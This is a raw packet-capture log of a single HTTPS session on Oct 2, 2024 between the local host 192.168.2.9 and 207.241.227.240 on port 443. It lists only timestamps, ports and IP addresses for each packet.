Oct 2, 2024 05:23:11.700465918 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.700474977 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.700505018 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.700520992 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.740820885 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.740840912 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.740933895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.740962029 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.741014004 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.741555929 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.741573095 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.741640091 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.741648912 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.741694927 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742003918 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742022038 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742063999 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742069960 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742110968 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742157936 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742341995 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742377043 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742410898 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742417097 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742449999 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742475033 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742793083 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742810011 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742893934 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.742902040 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.742950916 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.743335009 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.743361950 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.743421078 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.743431091 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.743442059 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.743475914 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.788750887 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.788777113 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.788898945 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.788944960 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.789002895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.789076090 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.789093018 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.789153099 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.789165974 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.789207935 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.829406023 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.829427004 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.829509020 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.829545975 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.829602003 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.830096006 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830115080 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830178022 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.830188036 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830239058 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.830532074 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830549002 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830606937 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.830615044 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.830657005 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831058979 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831079006 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831129074 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831137896 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831197023 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831197023 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831506968 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831522942 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831578016 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831588030 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831634045 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831897020 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831912994 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.831984997 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.831996918 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.832042933 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.877481937 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877517939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877624989 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.877654076 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877819061 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.877847910 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877863884 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877928019 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.877938032 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.877979040 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.918198109 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.918219090 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.918318987 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.918354034 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.918402910 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.918844938 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.918862104 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.918987989 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.918997049 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919081926 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.919310093 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919327974 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919409037 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.919419050 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919471025 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.919656038 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919672012 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919732094 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.919745922 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.919785976 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.920022964 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920039892 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920094967 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.920103073 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920142889 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.920533895 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920552015 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920598984 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.920608044 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.920640945 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.920670033 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.966165066 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966185093 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966299057 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.966332912 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966389894 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.966535091 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966551065 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966608047 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:11.966619015 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:11.966660976 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.007441998 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.007462025 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.007606030 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.007687092 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.007725000 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.007776976 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.007843971 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.008059025 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008074999 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008163929 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.008172035 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008430004 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008451939 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008557081 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.008564949 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008897066 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008914948 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.008984089 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.008994102 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.009373903 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.009398937 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.009463072 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.009470940 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.009505033 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.055123091 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055145025 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055278063 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.055306911 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055368900 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055396080 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055434942 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.055443048 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.055464029 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.095587015 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.095607996 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.095724106 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.095752001 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096169949 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096190929 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096245050 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.096252918 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096549988 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096564054 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.096625090 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.096632957 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097058058 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097076893 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097112894 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.097121000 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097148895 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.097415924 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097429037 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097489119 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.097496986 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097839117 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097861052 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097901106 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.097908974 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.097937107 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.143825054 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.143843889 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.143948078 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.143980980 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.144166946 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.144187927 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.144224882 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.144234896 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.144267082 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.184326887 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.184349060 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.184470892 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.184554100 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185156107 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185187101 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185245037 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.185266018 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185322046 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.185745955 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185762882 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185822010 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185842991 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185842991 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.185859919 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.185880899 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.185985088 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.186288118 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186316967 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186382055 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.186402082 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186427116 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.186465979 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.186656952 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186672926 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186764002 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.186779976 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.186846972 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.232587099 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.232609987 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.232701063 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.232718945 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.232786894 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.232965946 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.232981920 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.233042955 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.233052015 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.233094931 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.273219109 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273251057 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273341894 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.273372889 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273443937 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.273660898 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273688078 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273732901 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.273747921 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.273799896 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.273801088 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274027109 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274044037 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274127007 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274143934 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274198055 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274418116 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274432898 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274508953 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274523020 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274578094 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274729013 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274745941 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274813890 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.274827957 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.274885893 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.275280952 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.275300980 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.275367022 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.275382042 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.275458097 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.321594000 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321626902 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321683884 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.321697950 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321732044 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.321748018 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.321785927 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321809053 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321857929 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.321871042 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.321927071 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.361742973 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.361789942 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.361881971 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.361933947 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.361963034 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.361983061 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362176895 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362194061 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362272978 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362289906 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362381935 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362576008 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362603903 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362646103 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362659931 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362713099 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362713099 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.362952948 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.362984896 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363032103 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363045931 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363073111 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363112926 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363459110 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363492012 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363548040 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363560915 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363586903 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363606930 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363862991 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363884926 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.363941908 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.363956928 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.364006042 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.410060883 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410108089 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410247087 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.410260916 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410320044 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.410362005 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410378933 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410423040 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.410430908 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.410463095 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.410481930 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.450489044 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450509071 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450670004 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.450695038 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450742006 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.450844049 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450862885 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450908899 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.450916052 CEST	443	49705	207.241.227.240	192.168.2.9
Oct 2, 2024 05:23:12.450942039 CEST	49705	443	192.168.2.9	207.241.227.240
Oct 2, 2024 05:23:12.450974941 CEST	49705	443	192.168.2.9	207.241.227.240
